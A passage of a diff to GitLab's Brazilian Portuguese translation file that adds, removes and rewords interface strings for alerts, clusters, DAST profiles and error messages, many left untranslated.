msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Um site HTML simples que usa Netlify para CI/CD em vez do Gitlab, mas ainda com todas as outras ótimas funcionalidades do Gitlab."
@@ -1234,6 +1285,9 @@ msgstr "Data de expiração do acesso"
msgid "Access forbidden. Check your access level."
msgstr "Acesso proibido. Verifique seu nível de acesso."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "Acesso a '%{classification_label}' não permitido"
@@ -1345,6 +1399,9 @@ msgstr "Ativar"
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Ativo"
@@ -1377,12 +1434,6 @@ msgstr[1] "Adicionar %d issues"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Adicionar CHANGELOG"
@@ -1497,6 +1548,9 @@ msgstr "Adicionar épico filho a um épico"
msgid "Add comment now"
msgstr "Adicionar comentário agora"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr "Adicionar endereço de e-mail"
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Adicione cabeçalho e rodapé aos emails. Por favor, note que as configurações de cor só serão aplicadas dentro da interface do aplicativo"
@@ -1521,6 +1578,9 @@ msgstr "Adicionar issues"
msgid "Add italic text"
msgstr "Adicionar texto em itálico"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Adicionar etiqueta(s)"
@@ -1800,6 +1860,9 @@ msgstr "Selecione um arquivo de configuração de pipeline"
msgid "AdminSettings|Select a template"
msgstr "Selecione um modelo"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr "Especifique um domínio a ser usado por padrão para os estágios de Aut
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "A configuração de pipeline necessária pode ser selecionada a partir do diretório %{code_start}gitlab-ci%{code_end} dentro do %{link_start}repositório modelo de instância%{link_end} configurado ou das configurações fornecidas pelo GitLab."
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "Ao criar uma nova variável de ambiente, ela será protegida por padrão."
@@ -2042,6 +2108,9 @@ msgstr[1] "Alertas"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr "Todos os endereços de e-mail serão usados para identificar seus commit
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Todos os recursos estão habilitados para projetos em branco, a partir de modelos ou ao importar, mas você pode desativá-los posteriormente nas configurações do projeto."
@@ -2471,6 +2540,9 @@ msgstr "Quantidade de tempo (em horas) que os usuários podem ignorar a configur
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "Um erro ocorreu ao consultar o endereço da Central de Serviços."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar lista de painéis. Por favor, tente novamente."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,15 +2837,18 @@ msgstr "Erro ao recuperar calendário de atividades"
msgid "An error occurred while retrieving diff"
msgstr "Erro ao recuperar o diff"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Ocorreu um erro ao salvar o status de substituição do LDAP. Por favor, tente novamente."
msgid "An error occurred while saving assignees"
msgstr "Erro ao salvar assignees"
-msgid "An error occurred while saving the approval settings"
-msgstr "Ocorreu um erro ao salvar as configurações de aprovação"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2786,12 +2873,18 @@ msgstr "Ocorreu um erro ao atualizar os aprovadores"
msgid "An error occurred while updating the comment"
msgstr "Ocorreu um erro durante a atualização do comentário"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr "Erro ao validar o nome de usuário"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Ocorreu um erro. Tente novamente."
@@ -2870,6 +2963,9 @@ msgstr "Qualquer um"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "Abr"
msgid "April"
msgstr "Abril"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr "Arquivar projeto"
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "Você está configurando o Gitlab para uma empresa?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "Tem certeza que deseja arquivar este projeto?"
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr "ID do artefato"
-
msgid "Artifact could not be deleted."
msgstr "O artefato não pôde ser excluído."
@@ -3250,6 +3346,9 @@ msgstr "Artefatos"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} enviou para o branch %{branch} do projeto %{project_name} ( %{commit_url} ):"
@@ -3509,7 +3608,7 @@ msgstr "Autorizar"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "Autorizar %{link_to_client} usar sua conta?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr "Gerenciamento automático de certificado usando %{lets_encrypt_link_star
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Gerenciamento automático de certificado usando Let's Encrypt"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Esse grupo não tem selos"
msgid "Badges|This project has no badges"
msgstr "Esse projeto não tem selos"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Você está prestes a excluir este selo. Selos excluídos <strong>não podem</strong> ser restaurados."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Seus selos"
@@ -3827,6 +3929,9 @@ msgstr "mensalmente"
msgid "BillingPlans|per user"
msgstr "por usuário"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr "Expandir"
msgid "Boards|View scope"
msgstr "Ver escopo"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Branch"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "O branch %{branchName} não foi encontrado no repositório deste projeto."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "O branch <strong>%{branch_name}</strong> foi criado. Para configurar o deploy automático, selecione um modelo de Yaml do GitLab CI e commit suas mudanças. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "Branch foi alterado"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "Negócios"
@@ -4271,6 +4382,9 @@ msgstr "Canary Deployments é uma estratégia popular em CI onde uma pequena por
msgid "Cancel"
msgstr "Cancelar"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "Cancelar execução"
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr "Verificar disponibilidade de funcionalidades no plano de namespace"
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Verifique a %{docs_link_start}documentação%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr "Verifique o seu .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,8 +4853,8 @@ msgstr "Escolha o grupo principal para importar seus repositórios."
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Escolha o nível de visibilidade, ative/desative os recursos do projeto (issues, repositório, wiki, snippets) e defina as permissões."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Escolha o conteúdo que você deseja ver na página de visão geral de um grupo"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Escolha quais repositórios você deseja se conectar e executar pipelines de CI/CD."
@@ -4910,9 +5021,15 @@ msgstr "está indisponível: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "Limpar"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Fechado"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Issues Fechadas"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr " %{custom_domain_start}Mais informações%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr " pode ser usado em vez de um domínio personalizado."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} foi instalado com sucesso no seu cluster Kubernetes"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,14 +5237,17 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "Todos os dados serão excluídos e não poderão ser restaurados."
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "Permite que o GitLab gerencie contas serviços e namespaces para esse cluster."
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
-msgstr "Alternativamente"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -5135,6 +5264,9 @@ msgstr "Ocorreu um erro ao tentar realizar o fetch de seus projetos: %{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Ocorreu um erro ao tentar realizar o fetch dos tipos de máquinas da zona: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "Quaisquer pipelines em execução serão cancelados."
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Escolha quais aplicativos instalar em seu cluster Kubernetes. O Helm Tiller é necessário para instalar qualquer um dos seguintes aplicativos."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Escolha quais dos seus ambientes usarão esse cluster."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr "Clusters são utilizados selecionando o ancestral mais próximo de um am
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Copiar URL da API"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm simplifica a instalação e o gerenciamento de aplicativos do Kubernetes. O Tiller é executado dentro do seu Kubernetes Cluster e gerencia os lançamentos de seus gráficos."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Se você está configurando múltiplos clusters e você está usando auto DevOps, %{help_link_start}leia isso primeiro%{help_link_end}."
@@ -5588,8 +5717,8 @@ msgstr "Número de nós"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "O número de nós deve ser um valor numérico."
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Por favor, entre com as informações de acesso para seu cluter Kubernetes. Se precisar de ajuda, você pode ler nosso %{link_to_help_page} em Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Por favor, tenha certeza que sua conta no Google cumpre com os requisitos:"
@@ -5807,12 +5936,15 @@ msgstr "Algo deu errado ao desinstalar %{title}"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "Algo deu errado ao atualizar o nome de domínio Knative."
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "A especificação de um domínio permitirá que você use os estágios do Auto Review Apps e do Auto Deploy para %{auto_devops_start}Auto DevOps%{auto_devops_end}. O domínio deve ter um DNS curinga configurado correspondente ao domínio."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr "Essa conta precisa de permissões para criar um cluster Kubernetes no %{
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Esta opção permite-lhe instalar aplicações em clusters RBAC."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "Desinstalar %{appTitle}"
@@ -5885,6 +6029,9 @@ msgstr "Validando status de faturamento do projeto"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Não foi possível verificar se um dos seus projetos no GCP possui o faturamento ativado. Por favor, tente novamente."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "Com um cluster Kubernetes associado a esse projeto, você pode utilizar apps de revisão, publicar suas aplicações, executar suas pipelines e muito mais de um jeito simples."
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Você deve primeiro instalar o Helm Tiller antes de instalar os aplicativos abaixo"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,8 +6077,8 @@ msgstr "Zona"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acesso ao Google Container Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "documentação"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr "Comentar/Responder (citando o texto selecionado)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Comentários"
@@ -6310,8 +6460,8 @@ msgstr "Configurar Prometheus"
msgid "Configure Tracing"
msgstr "Configurar rastreamento"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "Configure um arquivo <code>.gitlab-webide.yml</code> no diretório <code>.gitlab</code> para começar a usar o Terminal Web. %{helpStart}Saiba mais.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "Configurar housekeeping e checagens do git nos repositórios."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr "Copiar URL de clone do %{http_label}"
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "Não foi possível criar o projeto"
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "Não foi possível excluir o apelido de bate-papo %{chat_name}."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr "Não foi possível salvar o ID do projeto"
msgid "Could not save prometheus manual configuration"
msgstr "Não foi possível salvar a configuração manual do prometheus"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr "Cobertura"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr "Criar"
@@ -7030,6 +7197,9 @@ msgstr "Criar epic"
msgid "Create file"
msgstr "Criar arquivo"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Criar grupo"
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr "Criar novo branch"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Criar nova pasta"
@@ -7090,6 +7263,9 @@ msgstr "Criar projeto"
msgid "Create project label"
msgstr "Criar etiqueta de projeto"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "Nome de host personalizado (para e-mails de commit privado)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Eventos de notificação personalizados"
@@ -7357,6 +7536,15 @@ msgstr "Personalize a sua configuração, visualize o status da pipeline e relat
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7551,25 +7742,55 @@ msgstr "%{firstProject}, %{rest} e %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
